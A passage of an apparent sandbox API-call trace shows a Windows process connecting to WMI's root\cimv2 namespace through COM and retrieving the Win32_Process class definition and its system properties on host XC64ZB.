CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0123.586] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0123.586] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0123.586] IUnknown:Release (This=0x6124e8) returned 0x1 [0123.586] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b48b3b0) returned 0x0 [0123.586] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b3b0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0123.587] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b48b3b0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b48b1b0) returned 0x0 [0123.587] WbemLocator:IUnknown:Release (This=0x1b48b3b0) returned 0x0 [0123.587] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b1b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b48b1b0) returned 0x0 [0123.587] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b1b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0123.587] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b1b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0123.587] WbemLocator:IUnknown:AddRef (This=0x1b48b1b0) returned 0x3 [0123.587] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b1b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0123.587] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b1b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0123.587] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b1b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0123.587] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0123.587] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0123.587] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b1b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0123.588] WbemLocator:IUnknown:Release (This=0x1b48b1b0) returned 0x2 [0123.588] WbemLocator:IUnknown:Release (This=0x1b48b1b0) returned 0x1 [0123.588] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0123.588] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0123.588] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48b1b0, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b48b1b0) returned 0x0 [0123.588] WbemLocator:IUnknown:AddRef (This=0x1b48b1b0) returned 0x3 [0123.588] WbemLocator:IUnknown:Release (This=0x1b48b1b0) returned 0x2 [0123.588] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0ae0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0123.588] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0123.588] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0123.588] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b48b5b0) returned 0x0 [0123.588] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b48b5b0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4e1b80) returned 0x0 [0123.779] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e1b80, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b5116d0) returned 0x0 [0123.779] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b5116d0, pProxy=0x1b4e1b80, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0123.779] WbemLocator:IUnknown:Release (This=0x1b5116d0) returned 0x1 [0123.779] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e1b80, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b511718) returned 0x0 [0123.779] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e1b80, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b5116d0) returned 0x0 [0123.779] WbemLocator:IClientSecurity:SetBlanket (This=0x1b5116d0, pProxy=0x1b4e1b80, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0123.779] WbemLocator:IUnknown:Release (This=0x1b5116d0) returned 0x2 [0123.779] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x1 [0123.779] CoTaskMemFree (pv=0x1b4623f0) [0123.779] WbemLocator:IUnknown:Release (This=0x1b48b5b0) returned 0x0 [0123.780] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e1b80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b511718) returned 0x0 [0123.780] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0123.783] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0123.787] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e1b80, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0123.790] WbemLocator:IUnknown:AddRef (This=0x1b511718) returned 0x3 [0123.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0123.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0123.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b5115f8) returned 0x0 [0123.791] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b5115f8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0123.791] WbemLocator:IUnknown:Release (This=0x1b5115f8) returned 0x3 [0123.791] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0123.791] CoGetContextToken (in: pToken=0x1b30c120 | out: pToken=0x1b30c120) returned 0x0 [0123.791] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0123.791] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b5116e0) returned 0x0 [0123.791] WbemLocator:IRpcOptions:Query (in: This=0x1b5116e0, pPrx=0x1b511718, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0123.791] WbemLocator:IUnknown:Release (This=0x1b5116e0) returned 0x3 [0123.791] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x2 [0123.791] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0123.791] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0123.791] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4e1b80) returned 0x0 [0123.791] WbemLocator:IUnknown:AddRef (This=0x1b4e1b80) returned 0x4 [0123.791] WbemLocator:IUnknown:Release (This=0x1b4e1b80) returned 0x3 [0123.791] WbemLocator:IUnknown:Release (This=0x1b4e1b80) returned 0x2 [0123.791] SysStringLen (param_1=0x0) returned 0x0 [0123.792] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0ae0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0123.792] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0123.792] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0123.792] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0123.792] WbemLocator:IUnknown:AddRef (This=0x1b511718) returned 0x3 [0123.792] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b511718) returned 0x0 [0123.792] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x3 [0123.792] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x2 [0123.792] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0123.792] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0123.792] IWbemServices:GetObject (in: This=0x1b4e1b80, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d7220, ppCallResult=0x0) returned 0x0 [0123.828] IWbemClassObject:Get (in: This=0x1b4d7220, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0123.828] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0123.828] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0123.828] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0123.828] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0123.828] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0123.828] IUnknown:Release (This=0x6124e8) returned 0x1 [0123.829] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b4d3180) returned 0x0 [0123.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3180, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0123.829] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3180, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x6570b0) returned 0x0 [0123.830] WbemDefPath:IUnknown:Release (This=0x1b4d3180) returned 0x0 [0123.830] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x6570b0) returned 0x0 [0123.830] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0123.830] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0123.830] WbemDefPath:IUnknown:AddRef (This=0x6570b0) returned 0x3 [0123.830] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0123.830] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0123.830] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b4d3100) returned 0x0 [0123.830] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3100, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0123.830] WbemDefPath:IUnknown:Release (This=0x1b4d3100) returned 0x3 [0123.830] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0123.830] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0123.830] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0123.830] WbemDefPath:IUnknown:Release (This=0x6570b0) returned 0x2 [0123.830] WbemDefPath:IUnknown:Release (This=0x6570b0) returned 0x1 [0123.830] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0123.830] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0123.830] WbemDefPath:IUnknown:QueryInterface (in: This=0x6570b0, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x6570b0) returned 0x0 [0123.831] WbemDefPath:IUnknown:AddRef (This=0x6570b0) returned 0x3 [0123.831] WbemDefPath:IUnknown:Release (This=0x6570b0) returned 0x2 [0123.831] WbemDefPath:IWbemPath:SetText (This=0x6570b0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0123.831] IWbemClassObject:Get (in: This=0x1b4d7220, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0123.831] SysStringByteLen (bstr="XC64ZB") returned 0xc [0123.831] SysStringByteLen (bstr="XC64ZB") returned 0xc [0123.831] IWbemClassObject:Get (in: This=0x1b4d7220, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0123.831] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0123.831] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0123.831] IWbemClassObject:Get (in: This=0x1b4d7220, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0123.831] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0123.831] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0123.831] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0123.832] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0123.832] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0123.832] IUnknown:Release (This=0x6124e8) returned 0x1 [0123.832] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, 